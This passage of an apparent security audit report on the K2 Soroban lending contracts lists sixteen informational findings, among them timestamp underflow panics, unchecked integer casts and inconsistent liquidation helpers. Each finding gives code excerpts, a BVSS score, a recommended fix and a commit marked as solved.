Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/ae124e5204272a04e47773d12b1c367c4a4a4f0e>

7.41 SILENT TRUNCATION OF U256 TO 128 BITS IN REDSTONE ADAPTER PRICE CONVERSION

// INFORMATIONAL

Description

The `u256_to_i128_scaled` function in the redstone adapter silently truncates `U256` values to their lower 128 bits without checking if the high 128 bits contain non-zero data. This means that any `U256` value greater than or equal to `2^128` will be converted incorrectly, potentially turning large price values into much smaller ones (or zero) without returning an error.

This truncation could theoretically occur if a `U256` price value with non-zero high bits were somehow injected (requiring either authentication bypass or extreme system compromise), causing the function to return an incorrect converted price. However, in a properly configured Redstone system with authenticated price feeds, such astronomically large values would be cryptographically impossible.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:L/D:L/Y:L (1.2)

Recommendation

Check that the U256 value fits within u128 range before truncation.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/7cd66fa3d4cb1222c7f6878bbd9c904343205531>

7.42 REFLECTOR FUTURE TIMESTAMPS PANIC THE ORACLE AND BRICK ALL PRICE QUERIES

// INFORMATIONAL

Description

`query_reflector` enforces staleness by subtracting the Reflector-provided timestamp from the current ledger time before comparing it to `price_staleness_threshold`. Under normal operation this guarantees that only recent spot prices are accepted. However, the contract performs the subtraction **before** checking whether the Reflector timestamp is in the future.

If Reflector ever publishes an update whose timestamp is even slightly ahead of the ledger time—whether due to clock skew, a misconfigured data provider, or an operator mistake—the subtraction underflows and panics before an `OracleError` can be returned.

Every downstream entry point (`get_asset_price`, `get_price_with_protection`, liquidation checks, etc.) calls this helper, so a single out-of-range timestamp bricks the oracle until governance intervenes and clears the offending entry. This is effectively a denial-of-service against all lending operations that need fresh prices, even if Reflector’s governance normally prevents malicious submissions.

Code Location

Code snippet from the `query_reflector` function defined in `contracts/price-oracle/src/oracle.rs`:

 Copy Code

```
121 pub fn query_reflector(  
122     env: &Env,  
123     reflector_addr: &Address,  
124     asset: &Asset,  
125 ) -> Result<PriceData, crate::OracleError> {  
126     let reflector_wrapper = Wrapper::new(env, reflector_addr);  
127     let reflector_price_data = reflector_wrapper  
128         .lastprice(asset)  
129         .ok_or(crate::OracleError::OracleQueryFailed)?;  
130     let config = crate::storage::get_oracle_config(env)?;  
131     if env.ledger().timestamp() - reflector_price_data.timestamp > config.price_staleness_threshold  
132     {  
133         return Err(crate::OracleError::PriceTooOld);  
134     }
```

BVSS

AO:S/AC:L/AX:L/R:P/S:U/C:N/A:C/I:N/D:N/Y:N (1.0)

Recommendation

Add a defensive guard before the subtraction: if the Reflector timestamp is greater than the current ledger timestamp, immediately return an explicit error instead of performing the subtraction. This mirrors the staleness check already present in

`PriceOracleContract::validate_price_staleness` and ensures that malformed Reflector data cannot panic the contract.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/16ab837cfb6fdebad65992fc5d4a7c85d1c4bbfd>

7.43 REPAY FUNCTION DOCUMENTATION MISALIGNMENT CAUSES FAILED OPERATIONS AND CONFUSING ERRORS

// INFORMATIONAL

Description

`validation::validate_repay` documents that `amount = 0` is allowed for “full repayment”, but `operations::repay` treats `0` as “repay 0”, performs a no-op `transfer_from(0)`, and then fails during debt burn.

Any caller (including integrations) that follows the documented convention can be forced into confusing failures and misleading error handling, making repayment automation brittle and increasing the chance of stuck “repay all” flows.

Code Location

`validate_repay` explicitly allows `amount = 0` (`contracts/kinetic-router/src/validation.rs`):

 Copy Code

```
652 pub fn validate_repay(  
653     env: &Env,  
654     asset: &Address,  
655     amount: u128,  
656     rate_mode: u32,  
657 ) -> Result<(), KineticRouterError> {  
658     // Validate amount (0 and MAX are allowed for full repayment)  
659     if amount != 0 && amount != u128::MAX {  
660         validate_amount(amount)?;  
661     }  
662     ...  
663     Ok(())  
664 }
```

`repay` computes `amount_to_repay = 0` and later maps burn failures to a mint error (`contracts/kinetic-router/src/operations.rs`):

 Copy Code

```
340 let amount_to_repay = if amount == u128::MAX {  
341     debt_balance as u128  
342 } else {  
343     amount.min(debt_balance as u128)  
344 };  
345 ...  
346 let burn_result = env.try_invoke_contract:::<bool, KineticRouterError>(  
347     &debt_token_address,  
348     &Symbol::new(&env, "burn_scaled"),  
349 )
```

```
349     args,  
350 );  
351 ...  
352 Ok(Ok(false)) | Ok(Err(_)) | Err(_) => return Err(KineticRouterError::DebtTokenMintFailed),
```

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:L/I:L/D:N/Y:N (0.8)

Recommendation

Implement one consistent “repay all” convention and surface canonical errors:

- Treat `amount == 0` as “repay all” (aligning with the validator comment), or reject it explicitly with `InvalidAmount` and update the comment/docs.
- Map debt burn failures to a burn-specific error (e.g., `DebtTokenBurnFailed`) rather than `DebtTokenMintFailed`.

Remediation Comment

SOLVED: The **K2 team** solved this finding by aligning the `repay` function's documentation with its actual behavior—consistently rejecting `amount = 0`—and improving error handling clarity.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c00739ca241ac582ca75c03863ddcbcb5d936166>

7.44 LIQUIDATION HELPERS DISAGREE ON THRESHOLD COMPARISON

// INFORMATIONAL

Description

The price-oracle contract exposes two convenience helpers for liquidation checks:

- The `is_liquidatable` helper delegates to `calculate_ltv` and returns `ltv > liquidation_threshold`.
- The `check_liquidation` helper recomputes the ratio locally and returns `collateralization_ratio >= liquidation_threshold`.

For positions exactly at the threshold (for example, LTV = 80% when the threshold is 80%), the two helpers yield conflicting results:

`is_liquidatable` evaluates to “false” while `check_liquidation` evaluates to “true”.

Most downstream contracts rely on a single canonical definition of liquidatability (for example, health factor ≤ 1 or a consistent threshold comparison). Exposing two public helpers with inconsistent semantics introduces a risk of confusion for off-chain tooling and for new integrations that select the wrong helper. Even if core protocol logic does not call these helpers today, inconsistent semantics in the public API invite bugs when other components or external actors depend on them.

Code Location

```
384 pub fn is_liquidatable(  
385     env: Env,  
386     collateral_asset: Asset,  
387     collateral_amount: u128,  
388     debt_asset: Asset,  
389     debt_amount: u128,  
390     liquidation_threshold: u32,  
391 ) -> Result<bool, OracleError> {  
392     let ltv = Self::calculate_ltv(  
393         env,  
394         collateral_asset,  
395         collateral_amount,  
396         debt_asset,  
397         debt_amount,  
398     )?;  
399     Ok(ltv > liquidation_threshold)  
400 }  
401  
402 pub fn check_liquidation(  
403     env: Env,  
404
```

 Copy Code

```

404 collateral_asset: Asset,
405 collateral_amount: u128,
406 debt_asset: Asset,
407 debt_amount: u128,
408 liquidation_threshold: u32,
409 ) -> Result<bool, OracleError> {
410     let collateral_price = Self::get_asset_price(env.clone(), collateral_asset)?;
411     let debt_price = Self::get_asset_price(env.clone(), debt_asset)?;
412     let config = storage::get_oracle_config(&env)?;
413     let collateral_value =
414         (collateral_amount * collateral_price) / (10_u128.pow(config.price_precision));
415     let debt_value = (debt_amount * debt_price) / (10_u128.pow(config.price_precision));
416
417     if debt_value == 0 || collateral_value == 0 {
418         return Err(OracleError::InvalidCalculation);
419     }
420
421     let collateralization_ratio = (debt_value * config.basis_points) / collateral_value;
422     Ok(collateralization_ratio >= liquidation_threshold as u128)
423 }

```

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:L/D:N/Y:N (0.6)

Recommendation

Align both helpers to the same comparison operator. Either treat “exactly at the threshold” as liquidatable in both places (use `>=` everywhere) or require strictly greater LTV in both functions (use `>` everywhere). Document the intended behavior so future callers know which invariant to expect. If only one helper is truly necessary, consider removing the redundant method to avoid divergent implementations.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/b19891aef328a01b5d718f2ecdcc8e08773c95f7>

7.45 DUPLICATE ADMIN ROTATION PATHS CAUSE DIVERGENT BEHAVIOR

// INFORMATIONAL

Description

Two public entry points are exposed by the oracle that both mutate the same admin slot: `set_admin` and `transfer_admin`. Overlapping logic is implemented with different semantics: `set_admin` performs a bare equality check against a caller parameter and emits an event, while `transfer_admin` delegates to the shared `upgradeable::admin::transfer_admin` helper, which enforces `require_auth` but emits no event.

Even after the missing-auth bug (tracked elsewhere) is fixed, the redundancy results in two inconsistent governance rotation workflows. Tooling must decide which function is to be called, documentation must describe both paths, and future contributors can easily update one path (for example, to add monitoring or additional guards) while forgetting the other.

This lack of single responsibility has already caused divergence: the event is currently emitted only by `set_admin`, and security hardening is being applied to `transfer_admin`, so neither path alone provides a complete solution. Over time, such divergence will make admin rotation brittle and will increase the risk of regressions or misconfigurations during critical upgrades.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:L/D:N/Y:N (0.6)

Recommendation

Consolidate admin rotation into a single entry point. Prefer keeping `transfer_admin` as the canonical path (since it already delegates to the shared helper) and extend it to emit the monitoring event.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c71205fd2c0bb9a5d7fe5e7e5d227abd61b69e58>

7.46 UNCAUGHT TOKEN CALL FAILURES IN SWAP HEALTH-FACTOR VALIDATION ENABLE DOS

// INFORMATIONAL

Description

In some router paths, `env.invoke_contract` is used for token balance reads instead of `try_invoke_contract`. When a token call fails, the transaction is trapped and aborted rather than returning a structured error, creating an avoidable denial-of-service vector if token contracts revert or are misconfigured. This issue is present in the fast path of `validate_swap_health_factor` and in core operations that read `aToken` and `debtToken` balances during withdraw and repay.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:L/D:N/Y:N (0.6)

Recommendation

Switch to `try_invoke_contract`, map errors to `KineticRouterError`, and keep the same zero-on-error fallback used elsewhere for balance reads.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/fa801939e0160b49cb7fc20ff99cea1172c7b7d2>

7.47 MISSING NEGATIVE-SUPPLY GUARD IN GET_TOTAL_SUPPLY

// INFORMATIONAL

Description

`get_total_supply` casts the token's `i128` total supply directly to `u128` without rejecting negative values. A misbehaving token could return a negative supply, which would wrap to a huge `u128`, corrupting utilization and reserve metrics.

Code Location

Code snippet from the `get_total_supply` function located in `contracts/kinetic-router/src/calculation.rs`:

```
1288 | let total_supply: i128 = env.invoke_contract(token_address, &sym_total_supply, Vec::new(env));
1289 | Ok(total_supply as u128)
```

 Copy Code

BVSS

AO:S/AC:L/AX:L/R:P/S:U/C:N/A:N/I:M/D:N/Y:N (0.5)

Recommendation

Mirror the guarded pattern in `validation.rs`: reject negative totals with an explicit error before casting to `u128`.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/0c9aeb7f046bc9f84d2978c7d51dbd3af8b117ce>

7.48 UNCHECKED ADDITION IN UTILIZATION CALCULATION CAN OVERFLOW AND MISPRICE RATES

// INFORMATIONAL

Description

`calculate_utilization_rate` computes `total_liquidity = total_debt + available_liquidity` using an unchecked `u128` addition. If those totals become sufficiently large, the sum can overflow and wrap, causing utilization to be miscomputed and downstream interest-rate calculations to be rendered unreliable (for example, by undercharging borrowers or distorting supplier yield).

BVSS

AO:A/AC:H/AX:H/R:P/S:U/C:N/A:N/I:M/D:N/Y:M (0.3)

Recommendation

Use `checked_add` for `total_debt + available_liquidity` and return an explicit error on overflow (or saturate to a safe bound) so utilization and interest rate calculations cannot silently wrap.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by replacing unchecked addition in the utilization rate calculation with `checked_add` and returning 100% utilization as a safe fallback on overflow, preventing arithmetic wraparound that could misprice interest rates.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/cc116d6caf9af5ee5935f7cca4ec4d329d94f885>

7.49 MISSING I128 BOUNDS CHECKS THROUGHOUT CODEBASE CAN CAUSE WRAPPED CONVERSIONS AND UNEXPECTED TRAPS

// INFORMATIONAL

Description

Multiple contracts throughout the codebase cast `u128` amounts to `i128` when calling SEP-41 style token entrypoints (e.g., `transfer_from`, `transfer`, `mint`, `burn`).

If a caller supplies an amount larger than `i128::MAX`, the cast can wrap and produce a negative amount, which can lead to unexpected failures (panic/trap) or confusing error surfacing rather than a clean `InvalidAmount`/bounds error.

This pattern appears in 50+ locations across 9 contract files:

- `contracts/kinetic-router/src/operations.rs`
- `contracts/kinetic-router/src/liquidation.rs`
- `contracts/kinetic-router/src/flash_loan.rs`
- `contracts/kinetic-router/src/swap.rs`
- `contracts/kinetic-router/src/views.rs`
- `contracts/incentives/src/contract.rs`
- `contracts/a-token/src/contract.rs`
- `contracts/debt-token/src/contract.rs`
- `contracts/treasury/src/contract.rs`

Even if these magnitudes are unlikely in practice, they are user-controlled inputs and should be defensively bounded to provide deterministic error handling.

BVSS

AO:A/AC:L/AX:H/R:F/S:U/C:N/A:L/I:N/D:N/Y:N (0.2)

Recommendation

Before any `u128 -> i128` cast used for SEP-41 token ABI calls throughout the codebase, enforce `amount <= i128::MAX as u128`. Return a specific error (e.g., `InvalidAmount`) so callers get deterministic, non-trapping failure modes. Consider creating a helper function to validate and convert amounts safely, or add bounds checks at contract entry points for user-controlled amount parameters.

Remediation Comment

SOLVED: The K2 team solved this finding by implementing a `safe_u128_to_i128` helper function with bounds checking and replacing all direct `u128` to `i128` casts throughout the codebase with this safe conversion, preventing wraparound that could cause unexpected token operation failures.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/2412acb148a32c6e0f8f6f3fef8e3191f9960850>

7.50 COLLATERAL VALUE HELPER CAN PANIC ON ZERO BASE PRICE

// INFORMATIONAL

Description

`calculate_collateral_value` (and the wrapper `get_asset_value_in_base`) performs the computation `collateral_amount * collateral_price` and then divides the result by the base asset price. Unlike `get_asset_price_in_asset`, no check is performed to ensure that `base_price` is non-zero.

A manual override, an invalid Reflector feed, or a misconfiguration that sets the base asset price to zero will cause the helper to panic rather than return an error. Any contract or off-chain client that relies on these helpers for read-only valuations will experience a trapped call until governance restores a non-zero price.

Although core lending logic is not dependent on this function, the exposure of a public helper that can panic on otherwise benign inputs undermines the availability of tooling that expects a graceful error response.

BVSS

AO:S/AC:L/AX:L/R:F/S:U/C:N/A:L/I:N/D:N/Y:N (0.1)

Recommendation

Mirror the guard already present in `get_asset_price_in_asset`: after fetching `base_price`, return a dedicated error if it is zero before attempting the division. Optionally add checked math to the multiplication to keep behavior consistent with the rest of the contract's helpers.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/785f0dc7cd17a9156c3c4f7cbfcff18f08ae66c1>

7.51 ADMIN UPDATE EVENT OBSCURES PREVIOUS OWNER

// INFORMATIONAL

Description

`PriceOracleContract::set_admin` is supposed to support safe rotation of the upgrade administrator while emitting an event so off-chain monitoring can track every takeover attempt. However, the monitoring event is published **after** the setter runs and the handler re-reads the admin from storage, so both tuple values in the event resolve to the new admin.

Listeners never learn which address was replaced and therefore cannot distinguish routine rotations from hostile takeovers or multisig compromise.

Code Location

```
477 | pub fn set_admin(env: Env, caller: Address, new_admin: Address) -> Result<(), OracleError> {
478 |     admin::require_admin(&env, &caller).map_err(|_| OracleError::Unauthorized)?;
479 |     admin::set_admin(&env, &new_admin);
480 |
481 |     // Emit event to enable off-chain monitoring of critical access control changes
482 |     let current_admin = admin::get_admin(&env);
483 |     env.events().publish(
484 |         (symbol_short!("admin"), symbol_short!("updated")),
485 |         (current_admin, new_admin.clone()),
486 |     );
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Capture the existing admin address before calling `admin::set_admin`, and emit the event with `(old_admin, new_admin)` so downstream automation can compare transitions.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by removing the redundant `set_admin` function and enhancing `transfer_admin` to capture the old admin before the transfer and emit an event with (old_admin, new_admin) for proper off-chain monitoring of admin changes.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c71205fd2c0bb9a5d7fe5e7e5d227abd61b69e58>

7.52 REDUNDANT ADMIN STORAGE AND DOUBLE AUTH CHECKS IN INTEREST RATE STRATEGY

// INFORMATIONAL

Description

`initialize` is observed to write the admin value twice: once via `upgrade::initialize_admin` and once via `storage::set_admin`. Both writes are keyed to the same `ADMIN` symbol in instance storage. Additionally, `upgrade` is observed to perform two authorization checks against the same storage slot (one check within the contract logic and one within `upgrade::upgrade`).

The duplicate write and duplicate authorization checks are redundant and result in unnecessary storage reads and writes. No behavioral divergence is caused, since both code paths reference the same key. The additional authorization check increases gas consumption and code complexity without providing measurable security benefits.

Code Location

Code snippet from the `initialize` function:

```
35 | crate::upgrade::initialize_admin(&env, &admin);  
36 | storage::set_admin(&env, &admin);
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Use a single admin helper and a single auth check: in `initialize`, set admin once via the shared helper and drop the duplicate write; in `upgrade`, rely on the auth inside `upgrade::upgrade` to reduce gas and complexity.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/824d47b264686485e5c5821261105fe463dd51e7>

7.53 DEAD BRANCH IN UTILIZATION CALCULATION OBSCURES INTENT

// INFORMATIONAL

Description

In `calculate_interest_rates`, utilization is checked first with `total_variable_debt == 0` and then with `available_liquidity + total_variable_debt == 0`. Since both parameters are of type `u128`, once debt is nonzero the sum cannot be zero; consequently the second branch is unreachable.

The redundant condition introduces noise and may mislead reviewers into believing an impossible state can occur; no change in behavior is caused.

Code Location

Code snippet from the `calculate_interest_rates` function:

```
54 | let utilization_rate = if total_variable_debt == 0 {  
55 |     0  
56 | } else if available_liquidity + total_variable_debt == 0 {  
57 |     0  
58 | } else {  
59 |     ray_div(  
60 |         &env,  
61 |         total_variable_debt,  
62 |         available_liquidity + total_variable_debt,  
63 |     )  
64 | };
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Simplify to a single total-liquidity guard: `let total = available_liquidity + total_variable_debt; let utilization = if total == 0 { 0 } else { ray_div(..., total) };` to remove dead code and clarify intent.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/424906673ad00e1eabfc07d0a8366366ec9e9f96>

7.54 ASSET RATE PARAMS EVENT MISSING “UPDATED” TAG

// INFORMATIONAL

Description

`set_asset_interest_rate_params` is used to publish an event keyed as (asset, rate, params), while the global updater publishes events keyed as (rate, params, updated). The asset-specific event omits the "updated" tag, which increases difficulty for off-chain indexers to reliably distinguish interest-rate updates from other asset-level events and introduces an inconsistency with the global event path.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Align the asset-level event with the global updater by adding an `updated` symbol (e.g., `(asset, rate, params, updated)`) so listeners can reliably filter update events.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/0e6c58a655e37bf63613e7613ca45a823c220f25>

7.55 REDSTONE ADAPTER REDUNDANT STORAGE ACCESS INCREASES GAS COST

// INFORMATIONAL

Description

Both `get_feed_id` and `get_price_data` functions perform redundant storage operations by first checking `has()` then calling `get()`, incurring unnecessary gas costs.

The functions check if a key exists using `env.storage().persistent().has(&key)`, then immediately call `env.storage().persistent().get(&key)` if present. Since `get()` returns an `Option`, it can be called directly— if `Some(value)` is returned, extend TTL; if `None`, return `None`. This eliminates one host access per lookup.

While not a security issue, this inefficiency increases operational costs for all price data retrieval operations in the Redstone adapter.

Code Location

Code of the `get_feed_id` function (`contracts/redstone-adapter/src/storage.rs`):

 Copy Code

```
78 pub fn get_feed_id(env: &Env, asset: &Asset) -> Option<String> {
79     let key = PersistentKey::AssetToFeed(asset.clone());
80     if env.storage().persistent().has(&key) {
81         env.storage()
82             .persistent()
83             .extend_ttl(&key, TTL_THRESHOLD, TTL_EXTENSION);
84         env.storage().persistent().get(&key)
85     } else {
86         None
87     }
88 }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Replace the `has()` + `get()` pattern with a single `get()` call. If the result is `Some(value)`, extend the TTL and return the value; if `None`, return `None`.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/d7972e045bcab6847667f6d94ba195f17811dd8b>

7.56 MISSING IMPORT IN DEBT-TOKEN BALANCE MODULE PREVENTS COMPILATION

// INFORMATIONAL

Description

The `balance.rs` module in the debt-token contract is missing several required imports, causing compilation failures. The file uses `KineticRouterError` in contract invocation calls, `Vec` for argument construction, and `Symbol` for contract method names, but does not import these types. This issue was introduced during the DEX/oracle integration phase and was not present in the initial core lending protocol scope.

This prevents the entire protocol from compiling successfully, blocking deployment of all contracts until the import issue is resolved.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Add the missing imports to the imports section of `contracts/debt-token/src/balance.rs`:

- Update `k2_shared` imports to include `KineticRouterError`.
- Update `soroban_sdk` imports to include `Symbol` and `Vec`.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/64e09825c51a179d4fd7ef561b02c512a6354a4c>

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.